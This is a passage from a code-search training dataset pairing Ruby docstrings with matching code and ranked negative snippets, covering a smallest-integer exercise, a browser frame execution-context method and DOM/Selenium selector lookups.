query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
I worked on this challenge by myself. smallest_integer is a method that takes an array of integers as its input and returns the smallest integer in the array +list_of_nums+ is an array of integers smallest_integer(list_of_nums) should return the smallest integer in +list_of_nums+ If +list_of_nums+ is empty the method should return nil Your Solution Below
def smallest_integer(list_of_nums) # Your code goes here! return nil if list_of_nums.empty? #itteration smallest = list_of_nums[0] i = 1 while(i < list_of_nums.size) smallest = list_of_nums[i] if list_of_nums[i] < smallest i += 1 end return smallest end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def smallest_integer(list_of_nums)\n smallest = list_of_nums[0]\n list_of_nums.each do |x|\n if x <= smallest\n smallest = x\n end\n end\n if list_of_nums.nil?\n return nil\n end\n return smallest\nend", "def smallest_integer(list_of_nums)\n length = list_of_nums.length\n if length == 0\n return nil\n else\n list_of_nums.min\n end\nend", "def smallest_integer(list_of_nums)\n # Pseudocode\n # return nil if array is empty\n # Otherwise, initialize current minimum as the first element of the array\n # FOR each element of the array\n # IF that element is larger than the current minimum\n # Set the current minimum to that element\n # Return the current minimum\n\n #initial solution\n # return nil if list_of_nums.length == 0\n\n # minimum = list_of_nums[0]\n\n # list_of_nums.each do |el|\n # minimum = el if el < minimum\n # end\n\n # return minimum\n\n #using built-in Ruby enumerables method\n return list_of_nums.min\n\nend", "def smallest_integer(list_of_nums)\n\tsmallest_num = list_of_nums[0]\n\tif list_of_nums.empty? == true\n\t\treturn nil\n\telse list_of_nums.each do |num|\n\t\tif num < smallest_num\n\t\t\tsmallest_num = num\n\t\tend\n\t\tend\n\tend\n\treturn smallest_num\nend", "def smallest_integer(list_of_nums)\n if list_of_nums == []\n return nil\n else\n list_of_nums.sort!\n return list_of_nums[0]\n end\nend", "def smallest_integer(list_of_nums)\n\t if list_of_nums == []\n\t \treturn nil\n\t else\n\t \treturn list_of_nums.sort[0]\n\tend\nend", "def smallest_integer(list_of_nums)\n return nil if list_of_nums.empty?\n smallest = list_of_nums.pop\n list_of_nums.each {|x| smallest = x if x < smallest }\n smallest\nend", "def smallest_integer(list_of_nums)\n if list_of_nums.count > 0\n list_of_nums.sort!\n else\n return nil\n end\nreturn list_of_nums[0]\nend", "def smallest_integer(list_of_nums)\n smallest = nil\n list_of_nums.each do |num|\n if smallest == nil\n smallest = num\n end\n if num <= smallest\n smallest = num\n end\n end\n smallest\nend", "def smallest_integer(list_of_nums)\n # Your code goes here!\n if list_of_nums == []\n \treturn nil\n else \n \tcurrent_smallest = list_of_nums[0]\n \tfor num in list_of_nums\n \t\tif num < current_smallest\n \t\t\tcurrent_smallest = num\n \t\tend\n \tend\n end\n puts \"The smallest number is #{current_smallest}\"\n return current_smallest\nend", "def smallest_integer(list_of_nums)\r\n smallest = list_of_nums.first\r\n list_of_nums.each {|n| smallest = n if n < smallest}\r\n return smallest\r\nend", "def smallest_integer(list_of_nums)\n\tans = list_of_nums.min \nend", "def smallest_integer(list_of_nums)\n length = list_of_nums.length\n if length == 0\n return nil\n elsif length == 1\n return list_of_nums[0]\n else\n a = 0\n b = 1\n while b < length\n if list_of_nums[a] < list_of_nums[b]\n output = list_of_nums[a]\n b += 1\n else\n output = list_of_nums[b]\n a = b\n b += 1\n end\n end\n return output\n end\nend", "def smallest_integer(list_of_nums)\n\tif list_of_nums.length == 0\n\t\treturn nil\n\tend\n\ti = list_of_nums[0]\n\tj = 1\n\twhile j <= list_of_nums.length - 1 do\n\t\tif i > list_of_nums[j]\n\t\t\ti = list_of_nums[j]\n\t\tend\n\t\tj = j + 1\n\tend\n\treturn i\nend", "def smallest_integer(list_of_nums)\n smallest_num = list_of_nums[0]\n list_of_nums.each do |value|\n smallest_num = value if value < smallest_num\n end\n smallest_num\nend", "def smallest_integer(list_of_nums)\n\n small_int = list_of_nums[0]\n list_of_nums.each do |small|\n if small < small_int\n small_int = small\n end\n end\n return small_int\nend", "def smallest_integer(list_of_nums)\n # Your code goes here!\n\tsmall = list_of_nums[0]\n\tlist_of_nums.each do |x|\n\t\tsmall = x if x < small\n\tend\n\treturn small\nend", "def smallest_integer(list_of_nums)\n\n if list_of_nums == [] then return nil\n\n else\n\n smallest_num = list_of_nums[0]\n index = 1\n # puts \"First num: \" + smallest_num.to_s\n\n while index < list_of_nums.length\n\n if list_of_nums[index] < smallest_num then\n smallest_num = list_of_nums[index]\n end\n\n # puts \"Index: \" + index.to_s +\n # \"; Value: \" + list_of_nums[index].to_s +\n # \"; Smallest Int so far: \" + smallest_num.to_s\n\n index += 1\n\n end\n\n return smallest_num\n\n end\n\nend", "def smallest_integer(list_of_nums)\n p list_of_nums.min\nend", "def smallest_integer(list_of_nums)\n\n if list_of_nums == []\n\n return nil\n\n else\n\n smallest_num = list_of_nums[0]\n this_num = 0\n # puts \"First num: \" + list_of_nums[this_num].to_s\n\n while this_num < list_of_nums.length - 1\n\n if list_of_nums[this_num + 1] < smallest_num then\n smallest_num = list_of_nums[this_num + 1]\n end\n\n this_num += 1\n\n # puts \"Index: \" + this_num.to_s +\n # \"; Value: \" + list_of_nums[this_num].to_s +\n # \"; Smallest Int so far: \" + smallest_num.to_s\n\n\n end\n\n return smallest_num\n\n end\n\nend", "def smallest_integer(list_of_nums)\n p list_of_nums.min\nend", "def smallest_integer(list_of_nums)\n small = list_of_nums[0]\n list_of_nums.each do |num|\n if num < small\n small = num\n end\n end\nsmall\nend", "def smallest_integer(list_of_nums)\n # Your code goes here!\n x = list_of_nums[0]\n list_of_nums.each do |y|\n if y < x\n x = y\n end\n end\n return x\nend", "def smallest_integerv2(list_of_nums)\n # Your code goes here!\n\treturn list_of_nums.min\nend", "def smallest_integer(array)\n\tif array == []\n\t return nil\n\telse array.sort!\n \t return array[0]\n end\nend", "def smallest_integer(list_of_nums)\n while list_of_nums.length > 1\n list_of_nums[0] > list_of_nums[1] ? list_of_nums.delete_at(0) : list_of_nums.delete_at(1)\n end\n smallest_num = list_of_nums[0]\nend", "def my_min(list)\n smallest_num = nil\n list.each do |num|\n if smallest_num == nil || smallest_num > num\n smallest_num = num\n end\n end\n smallest_num\nend", "def find_smallest_int(arr)\n lowNum = nil\n arr.each { |num|\n if num < lowNum.to_i ||lowNum.to_i == 0\n lowNum = num\n end\n }\n return lowNum\nend", "def smallest_integer(list_of_nums)\n\tlist_of_nums.each do |n1|\n \t\tlist_of_nums.each do |n2|\n \t\t\tif list_of_nums|n2| < list_of_nums|n1| #check if the the second number pulled out of array is smaller than the first\n \t\t\t\tlist_of_nums|n1| , list_of_nums|n2| = list_of_nums|n2| , list_of_nums|n1| #if it is smaller, it is moved in front of the bigger number\n \t\t\tend\n \t\tend\n\tend\n\nreturn list_of_nums[0] #once the smallest number is moved to the front, it should be the smallest in the array. so I call on it.\nend\n\n#I could not get this solution to work for some reason, because it didnt pass rspec. ", "def find_smallest_int(arr)\n return arr.min\nend", "def find_smallest_int(nums)\n max = nums[0]\n min = nums[0]\n nums.each do |item|\n if item > max\n max = item;\n elsif item < min\n min = item\n end \n end \n return min\nend", "def smallest_integer(array)\n array.min\nend", "def my_min(arr)\n smallest = nil\n\n arr.each do |n|\n smallest = n if smallest.nil? || n < smallest\n end\n\n smallest\nend", "def smallest_integer(list_of_nums)\r\n # Your code goes here!\r\n a = list_of_nums.length\r\n \r\n \tloop do \r\n \t\tswapped = false\r\n \t\t\r\n \t\t(a-1).times do |i|\r\n \t\t\tif list_of_nums[i] > list_of_nums[i+1]\r\n \t\t\t\tlist_of_nums[i], list_of_nums[i+1] = list_of_nums[i+1], list_of_nums[i]\r\n \t\t\t\tswapped = true \r\n \t\t\tend\r\n \t\tend\r\n\r\n \t\tbreak if not swapped\r\n \tend\r\n \tsmallest = list_of_nums[0]\r\n \tsmallest\r\n\r\n\r\nend", "def smallest_integer(list_of_nums)\n # Your code goes here!\n \n list_of_nums.each do\n if list_of_nums[0] < list_of_nums[-1]\n list_of_nums.pop\n else\n list_of_nums.delete_at(0)\n end\n if list_of_nums.length > 0\n list_of_nums.each do\n if list_of_nums[0] < list_of_nums[-1]\n list_of_nums.pop\n else\n list_of_nums.delete_at(0)\n end\n end\n end\n end\n puts list_of_nums\nend", "def find_smallest_int(arr)\n puts arr.min\nend", "def find_smallest_num(arr)\n\treturn arr.min()\nend", "def is_smallest_int(arr)\n smallest = arr[0]\n\n arr.each do |num|\n if num < smallest\n smallest = num\n end\n end\n\n puts smallest\nend", "def find_smallest_int (arr) \n smallest = arr[0]\n\n arr.each do |n|\n if smallest < n\n else\n smallest = n\n end\n end\n puts smallest\nend", "def find_min_brute(nums)\n smallest = nums[0]\n nums.each do |n|\n (smallest = n) if n < smallest \n end\n return smallest\nend", "def smallest_integer(list_of_nums)\n\nputs \"Give me some numbers:\"\nlist_of_nums = []\n\n while true\n input_num = gets.chomp\n if input_num == \"\"\n break\n end\n list_of_nums.push input_num\n end\n\n puts list_of_nums.sort[0]\n\nend", "def my_min2(list)\n smallest_number = list.first\n list.each do |num|\n smallest_number = num if num <= smallest_number\n end\n smallest_number\nend", "def smallest_integer(array)\n\tsmallint = array.sort\n\tputs smallint.first\nend", "def my_min(list)\r\n smallest = list.first\r\n list.each do |ele|\r\n smallest = ele if ele < smallest\r\n end\r\n return smallest\r\nend", "def good_my_min(arr)\n smallest = arr.first\n arr.each do |el|\n smallest = el if el < smallest\n end\n smallest\nend", "def my_min(list)\n smallest = list.first\n list.each do |el|\n smallest = el if el < smallest\n end\n smallest\nend", "def my_min_linear(list)\n smallest_number = list.first\n \n list.each do |num|\n smallest_number = num if num < smallest_number\n end\n\n smallest_number\nend", "def my_min_2(nums) # O(n)\n smallest = 0\n nums.each do |num|\n smallest = num if num < smallest\n end\n smallest\nend", "def my_min_2(list)\n smallest = 0\n list.each do |el|\n smallest = el if el < smallest\n end\n smallest\nend", "def my_min(array)\n\n smallest = array.first\n array.each_with_index do |el, i|\n smallest = el if el < smallest\n end\n smallest\n\nend", "def my_min2(array)\n lowest_num = array.first\n array.each do |el1|\n next if lowest_num == el1\n if el1 < lowest_num\n lowest_num = el1\n end\n end\n lowest_num\nend", "def my_min_2(list)\n min = nil\n\n list.each do |num|\n min = num if min.nil? || num < min\n end\n\n min\nend", "def my_min(list)\n minimum_num = [] \n list.each do |num1| \n minimum_num = num1 if list.all? {|ele| ele >= num1}\n end\n minimum_num\nend", "def smallest_of_x(numbers)\n i = 0\n smallest = numbers[0]\n smallestpos = 0\n while i < numbers.length - 1\n if smallest > numbers[1+i]\n smallest = numbers[1+i]\n smallestpos = i + 1\n end\n i += 1\n end\n return smallestpos\nend", "def find_min(arr)\n smallest_value = arr.first\n for value in arr\n if value <= smallest_value\n smallest_value = value\n end\n end\n smallest_value\nend", "def my_min_n2(arr)\n smallest_number = true\n arr.each do |first_el|\n smallest_number = true\n arr.each do |second_el|\n smallest_number = false if second_el < first_el\n end\n return first_el if smallest_number\n end\nend", "def my_min(list)\n min = list[0]\n (0...list.length).each do |i| \n min = list[i] if list[i] < min\n end\n min\nend", "def smallest_number(num1, num2)\n result = [num1, num2].min\n return result\nend", "def smallest_number num1, num2\n\tarrayNumbers = [num1, num2]\n\treturn arrayNumbers.min\nend", "def lowest_number(number_list)\n number_list.map(&:to_s)\n .permutation\n .map(&:join)\n .map(&:to_i)\n .min\nend", "def my_min(list)\r\n smallest = 0\r\n \r\n list.each_with_index do |ele1, idx1|\r\n list.each_with_index do |ele2, idx2|\r\n if idx2 > idx1 \r\n if ele1 < smallest\r\n smallest = ele1\r\n end\r\n if ele2 < smallest\r\n smallest = ele2\r\n end\r\n end\r\n end\r\n end\r\n\r\n smallest\r\nend", "def my_min2(arr)\n smallest = arr.first\n arr.each do |el|\n smallest = el if el < smallest\n end\n smallest\nend", "def lowest_number(number_list)\n number_list.map(&:to_s).sort.join('').to_i\nend", "def my_min(arr)\n\n smallest_value = arr[0]\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n # smallest_value = ele1 if ele1 < smallest_value\n if arr.all?{|ele2| ele1 <= ele2 } #O(n)\n smallest_value = ele1\n end\n end\n\n smallest_value\n\nend", "def my_min(list)\n min = list[0]\n (1...list.length).each do |i| \n min = list[i] if list[i] < min \n end\n min\nend", "def my_min2(int_list)\n min = 0\n\n int_list.each do |int|\n min = int if int < min\n end\n\n min\nend", "def lowestnumber arr\n idx = 0 \n min = arr[0]\n while idx <= arr.length - 1\n if arr[idx] > min \n min = min\n else\n min = arr[idx]\n end\n \n idx = idx + 1\n end\n return min\nend", "def my_min(list)\n list.each do |el|\n smallest = true\n list.each do |second_el|\n if second_el < el\n smallest = false\n end\n end\n if smallest == true\n return el\n end\n end\nend", "def my_min_fast(list)\n smallest = list.first\n\n list[1..-1].each { |n| smallest = n if n < smallest }\n smallest\nend", "def my_min_ii(list)\n min = list.first\n list.each do |el|\n min = el if el < min\n end\n min\nend", "def smallest_number(num1, num2)\n\t[num1, num2].min\nend", "def my_min(list)\n list.each do |el|\n equal_or_smaller = []\n list.each do |el2|\n equal_or_smaller << el2 if el2 < el\n end\n return el if equal_or_smaller.empty?\n end\nend", "def best_my_min(arr)\n smallest = arr.shift\n arr.each do |el|\n smallest = el unless el > smallest\n end\n smallest\nend", "def find_min2(array)\n min = array[0]\n \n array.each do |num|\n if num < min\n min = num\n end\n end\n \n return min\nend", "def better_my_min(array)\n smallest = array[0]\n array[1..-1].each do |el|\n smallest = el if el < smallest\n end\n smallest\nend", "def my_min(list)\n\n min = nil\n\n list.each do |ele|\n min ||= ele\n list.each do |ele2|\n if ele2 < min\n min = ele2\n end\n end\n end\n\n min\nend", "def find_smallest(array, length)\n smallest_int = array[0]\n length.times do |i|\n if array[i] < smallest_int\n smallest_int = array[i]\n end\n end\n return smallest_int\nend", "def my_min(arr)\n arr.each do |num|\n return num if arr.select { |other_num| other_num > num }\n end\nend", "def my_min2(arr)\n smallest = arr.first\n\n arr.each do |i|\n smallest = i if smallest > i\n end\n\n smallest\nend", "def my_min(list)\n i = 0\n min = list[0]\n while i < list.length - 1\n if list[i + 1] < min\n min = list[i + 1]\n end\n i += 1\n end\n min\nend", "def smallest array\n [array.min]\n end", "def largest_integer(list_of_nums)\n if list_of_nums.empty? \n return nil\n else \n big=list_of_nums[0]\n list_of_nums.each { |x| \n if x > big\n big=x\n end \n }\n return big\n end\nend", "def my_min_fast(arr)\n smallest = arr[0]\n arr.each do |ele|\n if ele < smallest\n smallest = ele\n end\n end\n return smallest\nend", "def minimum( *numbers )\n min = numbers.first\n numbers.each { |number| min = number if number < min }\n min\nend", "def minimum( *numbers )\n min = numbers.first\n numbers.each { |number| min = number if number < min }\n min\nend", "def my_min_2(arr) #O(N)\n min_num = arr.first\n \n arr.each { |num| min_num = num if num < min_num }\n \n min_num\n end", "def my_min2(arr)\n minimum = arr.first\n arr.each do |num|\n minimum = num if num < minimum\n end\n minimum\nend", "def find_min(arr)\n min = arr.first\n (1...arr.length).each do |idx|\n min = arr[idx] if arr[idx] < min\n end\n min\nend", "def my_min_2(list)\n min = list.first\n list.each do |num|\n if num < min \n min = num\n end\n end\n min\nend", "def smallest_number n1, n2\n [n1, n2].min\nend", "def my_min1(int_list)\n int_list.each do |int1|\n return int1 if int_list.all? { |int2| int2 >= int1 }\n end\nend", "def my_min(arr)\n min_number = arr[0]\n i = 1\n\n while i < arr.length\n min_number = arr[i] if arr[i] < min_number\n i += 1\n end\n\n min_number\nend", "def my_min(list)\n min = list[0]\n\n list.each do |ele| \n case min <=> ele\n when 1\n min = ele\n when 0\n next\n when -1\n min = min \n end\n end\n\n min\nend", "def largest_integer(list_of_nums)\n # Your code goes here!\n list_of_nums.sort! {|x,y| y<=>x}\n return list_of_nums[0]\nend", "def my_min2(arr)\n smallest = arr[0]\n arr[1..-1].each do |el|\n smallest = el if el < smallest\n end\n smallest\nend", "def largest_integer(list_of_nums)\ninitial = list_of_nums.kind_of?(Array) && list_of_nums[0] != nil ? 0 : nil\n\nreturn initial if initial == nil\n\nfor i in 0...list_of_nums.length\n curr_val = list_of_nums[i] if list_of_nums[i].instance_of? Fixnum\n initial = curr_val if i == 0 || initial < curr_val\nend\n\ninitial\nend", "def find_min(*nums)\n nums.reduce do | acc, current_value |\n if acc > current_value\n current_value\n else\n acc\n end\n end\nend", "def my_min(list)\n min = 0\n list.each do |ele|\n list.each do |ele2|\n min = ele if ele < ele2 && ele < min\n end\n end\n min\nend", "def my_better_min(list)\n min = list[0] #1\n\n list.each_with_index do |ele_1, i| #n\n if ele_1 < min # 1 *n\n min = ele_1 #1 *n\n end\n end\n\n min #1\n # (i...list.length).each do |j|\n # if list[i] list[j]\nend", "def simple_loop(list)\n smallest = list.first\n \n (1...list.length).each do |idx|\n smallest = list[idx] if list[idx] < smallest\n end\n \n smallest\nend" ]
[ "0.91123784", "0.90863335", "0.9063054", "0.90546966", "0.9011721", "0.893854", "0.8866158", "0.8865889", "0.88421893", "0.88346416", "0.8677305", "0.8670344", "0.8656316", "0.8653132", "0.86462903", "0.8635065", "0.85971576", "0.85401565", "0.8538809", "0.85348487", "0.8469521", "0.8441408", "0.83015335", "0.8226811", "0.819972", "0.80611056", "0.80302423", "0.79824215", "0.79564893", "0.78791624", "0.7813334", "0.77527404", "0.7750096", "0.76684904", "0.76683575", "0.7664705", "0.76575667", "0.76294386", "0.7605549", "0.75877774", "0.7571703", "0.754631", "0.75001943", "0.73880315", "0.7369347", "0.73387253", "0.7283977", "0.7250147", "0.7249087", "0.72455627", "0.7218443", "0.7175576", "0.71705407", "0.7166946", "0.7154809", "0.71470565", "0.7135817", "0.71314716", "0.71296734", "0.7122286", "0.71176416", "0.70988744", "0.70818496", "0.7076803", "0.7076485", "0.70727783", "0.7060925", "0.70573646", "0.70544463", "0.7049375", "0.7033181", "0.7025095", "0.7023118", "0.70091397", "0.69829524", "0.6978803", "0.69756067", "0.69730604", "0.69659996", "0.6964791", "0.6952741", "0.69489473", "0.69465107", "0.69455445", "0.69455445", "0.69450146", "0.6941887", "0.6902642", "0.6897778", "0.6893923", "0.68932915", "0.6892367", "0.68838435", "0.6872923", "0.6868782", "0.6858562", "0.6855038", "0.68541026", "0.6849675", "0.6848763" ]
0.8829303
10
The frame's default execution context.
def execution_context raise "Execution Context is not available in detached frame \"#{frame.url}\" (are you trying to evaluate?)" if @_detached @_context_promise.value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def execution_context\n initialize_context!(Object.new)\n end", "def execution_context\n @context\n end", "def run_context\n nil\n end", "def default_view_context\n ActionController::Base.new.view_context\n end", "def default_view_context\n ActionController::Base.new.view_context\n end", "def context\n self.current_custom_context || self.default_context\n end", "def current_execution_context\n @current_execution_context || self.project.current_execution_cycle.id\n end", "def main_context\n @main_context ||= Context.new\n end", "def default_context\n @@default_context = Graph.new(:identifier => @store.identifier, :store => @store)\n end", "def context\n nil\n end", "def thread_context\n Thread.current[:runshell_context] ||= Context.new(main_context.to_h)\n end", "def switch_to_default_context\n set_context nil\n end", "def switch_to_default_context\n set_context nil\n end", "def context\n @_context ||= {\n :argv => START_CTX[:argv].map { |arg| arg.dup },\n :cwd => START_CTX[:cwd].dup,\n 0 => START_CTX[0].dup,\n }.tap do |ctx|\n rewrite_context(ctx)\n end\n end", "def context\n @context_stack.last\n end", "def context\n Thread.current[:ctx] ||= {}\n Thread.current[:ctx]\n end", "def context\n Thread.current[NAME] ||= Hash.new\n end", "def context\n {}\n end", "def context\n {}\n end", "def current\n all_contexts[Thread.current.object_id]\n end", "def evaluate_default_frame\n return if ignore_default_frame?\n self.ignore_default_frame = true\n yield\n ensure\n self.ignore_default_frame = false\n end", "def context\n @context ||= {}\n end", "def context\n @context ||= {}\n end", "def mainContext\n # return Context.find( context )\n return context\n end", "def frame\n context.frame\n end", "def last_context=(_arg0); end", "def get_context\n @context_hash ||= {}\n end", "def switch_to_default_context\n @bridge.switch_to_default_context\n end", "def switch_to_default_context\n @bridge.switch_to_default_context\n end", "def runshell_context\n Thread.current == Thread.main ?\n main_context :\n thread_context\n end", "def current_scope\n Thread.current[:webspicy_scope] || default_scope\n end", "def context\n @context || (parent.context if parent)\n end", "def context\n init\n @context\n end", "def default_environment; end", "def context=(_arg0); end", "def context=(_arg0); end", "def context=(_arg0); end", "def context=(_arg0); end", "def context=(_arg0); end", "def context=(_arg0); end", "def context=(_arg0); end", "def context=(_arg0); end", "def context=(_arg0); end", "def context=(_arg0); end", "def context_overrides()\n {\n :current_environment => environment,\n :global_scope => @topscope, # 4x placeholder for new global scope\n :loaders => @loaders, # 4x loaders\n }\n end", "def default_environment\n nil\n end", "def context\n Byebug.current_context\n end", "def simple_context\n context_director.simple_context\n end", "def context\n unless @instance_context\n @instance_context = CurrentCallContext.new(@version, )\n end\n @instance_context\n end", "def parent_browsing_context=(_arg0); end", "def default_locals\n {}\n end", "def parent &block\n unless @_iv.context\n raise 'Host scope is not available'\n end\n\n if block\n @_iv.context.instance_exec(&block)\n else\n @_iv.context\n end\n end", "def current_env\n @current_env\n end", "def context\n Thread.current[NAME] ||= Array.new\n end", "def frame_locals(frame)\n #This is a stub, used for indexing\n end", "def active_locals; end", "def current_context\n context = Validation::Context.current\n valid_context?(context) ? context : :default\n end", "def context_for_eval; end", "def context\n @context ||= Context.new(self)\n end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context\n @context ||= Context.new(self)\n end", "def current=(context)\n all_contexts[Thread.current.object_id] = context\n end", "def this_context\n self\n end", "def current_frame\n @callstack.top\n end", "def context\n\n self\n end", "def create_execution_context()\n app_ctx = self.application_context\n app_ctx ||= VAPI::Core.create_default_application_context()\n sec_ctx = self.security_context\n sec_ctx ||= VAPI::Core::SecurityContext.new\n return VAPI::Core::ExecutionContext.new(app_ctx, sec_ctx)\n end", "def context_overrides()\n {\n :current_environment => environment,\n :global_scope => @topscope, # 4x placeholder for new global scope\n :loaders => @loaders, # 4x loaders\n :rich_data => true,\n }\n end", "def context_scope\n defined?(@_scope) ? @_scope : nil\n end", "def context(name = current_context)\n named_context(name)&.context\n end", "def context(args)\n context = args.delete(:context)\n context || @my\n end", "def context\n Context.instance\n end", "def default_url_context\n {}\n end", "def initial_frame(bindings); end", "def irb_context\n IRB.CurrentContext\n end", "def last_context; end", "def describe_context(context)\n @current_context = context\n end", "def default_scope=(_arg0); end", "def local(thread = Thread.current)\n thread[@key] ||= Datadog::Context.new\n end", "def current_frame\n @current_frame\n end" ]
[ "0.6777796", "0.6683005", "0.6544475", "0.6507209", "0.6507209", "0.6379279", "0.6375337", "0.635769", "0.634832", "0.63318783", "0.630878", "0.63039845", "0.63039845", "0.6291997", "0.62233007", "0.6200452", "0.61555564", "0.6146917", "0.6146917", "0.61099464", "0.6097495", "0.6089674", "0.6089674", "0.60459566", "0.60426533", "0.60239327", "0.5989857", "0.5969083", "0.5969083", "0.5930577", "0.59240603", "0.58815515", "0.58794814", "0.58704907", "0.5867159", "0.5867159", "0.5867159", "0.5867159", "0.5867159", "0.5867159", "0.5867159", "0.5867159", "0.5867159", "0.5867159", "0.5826929", "0.5820945", "0.580708", "0.5785424", "0.578532", "0.57657135", "0.5759998", "0.5743524", "0.5735527", "0.5700757", "0.5648836", "0.56400335", "0.5637972", "0.5625045", "0.5614099", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.5611763", "0.56082726", "0.560669", "0.55770206", "0.5575875", "0.55499333", "0.5548395", "0.55429673", "0.5540531", "0.5534483", "0.55342597", "0.5513535", "0.55023956", "0.5489166", "0.54732466", "0.54642296", "0.54414093", "0.5437222", "0.54344785", "0.5433292" ]
0.67062175
1
The method queries frame for the selector. If there's no such element within the frame, the method will resolve to null.
def query_selector(selector) document.query_selector selector end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_frame(selector, &block)\n using_wait_time(7) do\n frame = find(selector)\n within_frame(frame) do\n block.call\n end\n end\n end", "def frame(selector, argument)\n case selector\n when :name\n driver.switch_to.frame(argument)\n when :index\n driver.switch_to.frame(argument.to_i - 1) # index starts from 1 in Watir\n else\n raise OperaWatir::Exceptions::NotImplementedException,\n \"We do not support the `#{selector}' selector yet\"\n end\n end", "def find(selector)\n DOM::Element.from_node `#{@el}.querySelector(#{selector}) || Opal.nil`\n end", "def find(selector)\n value = `#{@el}.querySelector(#{selector}) || false`\n value ? DOM::Element.fromNode(value) : nil\n end", "def select_frame locator\r\n command 'selectFrame', locator\r\n end", "def find(selector)\n nodes = current_frame.getByXPath(selector).map { |node| Node.new(node) }\n @nodes << nodes\n nodes\n end", "def element(selector)\n @doc.at(selector)\n end", "def get_frames\n return driver.find_elements(:css, 'internal-frame')\nend", "def check_frame(options = {})\n options = { timeout: USE_DEFAULT_MATCH_TIMEOUT, tag: nil }.merge!(options)\n frame = options[:frame] || options[:frame_element] || options[:name_or_id]\n target = Applitools::Selenium::Target.frame(frame).timeout(options[:timeout]).fully\n check(options[:tag], target)\n end", "def capybara_element(*args, wait: 0, **options)\n context.send(\"#{name}_element\", *args, **options.merge(match: :first, wait: wait))\n rescue Capybara::ElementNotFound\n nil\n end", "def element(selector)\n\t\tHpricot(@response.body).at(selector)\n\tend", "def select_iframeid\r\n storeHtmlSource = @driver.page_source\r\n storeHtmlSource2 = storeHtmlSource.gsub(/frameborder=\"0\" /, '')\r\n index = storeHtmlSource2.to_s.match(/iframe id=\"[a-z]+[0-9]+\"/)\r\n @iframe = index[0].match(/[a-z]+[0-9]+/)\r\n end", "def selector\n @selector || (@caller && @caller.selector) || (@parent && @parent.selector)\n end", "def find css_selector\n @scene.lookup css_selector\n end", "def find_selector(selector)\n matching_e = nil\n\n all(selector).each do |e|\n if yield e\n matching_e = e\n break\n end\n end\n\n matching_e\n end", "def capybara_element(wait: 0)\n context.capybara_context.find(\"iframe[src='#{site_value}']\", match: :first, wait: wait)\n rescue Capybara::ElementNotFound\n nil\n end", "def get_by(selector)\n\n end", "def find_element(*args)\n sleep 0.1\n how, what, timeout = extract_args(args)\n by = Selenium::WebDriver::SearchContext::FINDERS[how.to_sym]\n wait = Object::Selenium::WebDriver::Wait.new({:timeout => timeout, :message => \"element not found\"})\n wait.until {\n bridge.find_element_by by, what.to_s, ref\n }\n rescue Selenium::WebDriver::Error::TimeOutError => e\n return nil\n #raise Selenium::WebDriver::Error::NoSuchElementError\n end", "def selections\n selector.send(selector_method) rescue nil\n end", "def select_from_select_list_inside_frame(browser_handle, frame_prop, frame_prop_val, select_list_prop, select_list_prop_val, select_value)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).select_list(select_list_prop.intern, /#{select_list_prop_val}/).select(select_value)\nend", "def focus(selector)\n handle = query_selector selector\n \"No node found for selector: #{selector}\" if handle.nil?\n handle.focus\n handle.dispose\n nil\n end", "def click_button_inside_frame(browser_handle, frame_prop, frame_prop_val, button_prop, button_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).button(button_prop.intern, /#{button_prop_val}/).click\nend", "def select(elem, selector)\n case selector\n when :element then elem\n when :inner_text, :inner_html, :outer_html then elem.send(selector)\n when /^@./ then elem[selector[1..-1]]\n when /^\\$[0-9]+$/\n i = selector[1..-1].to_i\n scrape_data(elem, i..i)\n when /^\\$[0-9]+(\\.\\.\\.?[0-9]+)?$/\n m = /\\.\\.\\.?/.match(selector)\n first, last = m.pre_match[1..-1].to_i, m.post_match.to_i\n last -= 1 if m[0] == \"...\"\n scrape_data(elem, first..last)\n else raise \"invalid selector #{selector.inspect} given\"\n end\n end", "def element_selector_string\n return @parent.element_selector_string\n end", "def switch_to_frame_and_wait_for_element_found(frame_id, locator)\n switch_to_frame frame_id\n\n how, what = parse_locator(locator)\n\n wait_for do\n begin\n driver.find_element(how, what)\n rescue Selenium::WebDriver::Error::NoSuchWindowError\n false\n end\n end\n end", "def find(selector)\n JQ(@j.JS.find(selector))\n end", "def query_selector(node_id:, selector:)\n {\n method: \"DOM.querySelector\",\n params: { nodeId: node_id, selector: selector }.compact\n }\n end", "def selector(&block)\n @selector = block if block_given?\n @selector\n end", "def find(locator)\n @browser.find_element locator\n end", "def at_xpath(selector, within: nil)\n expr = <<~JS\n function(selector, within) {\n within ||= document\n let xpath = document.evaluate(selector, within, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);\n return xpath.snapshotItem(0);\n }\n JS\n evaluate_func(expr, selector, within)\n end", "def match_selector(...)\n Matchers::MatchSelector.new(...)\n end", "def store_whether_this_frame_match_frame_expression current_frame_string, target, variable_name\r\n raise 'Not supported in Selenium Core at the moment'\r\n end", "def this_element\n browser.find(component_locator)\n end", "def find! css_selector\n res = find(css_selector)\n raise \"Selector(#{css_selector}) returned no results!\" unless res\n res\n end", "def find_element(*args)\n sleep 0.4\n how, what, timeout = extract_args(args)\n by = Selenium::WebDriver::SearchContext::FINDERS[how.to_sym]\n wait = Object::Selenium::WebDriver::Wait.new(timeout: timeout, message: 'element not found')\n wait.until do\n begin\n bridge.find_element_by(by, what.to_s, ref)\n rescue\n false\n end\n end\n rescue Selenium::WebDriver::Error::TimeOutError\n puts \"element not found #{how} #{what}\" if timeout > 3\n nil\n end", "def 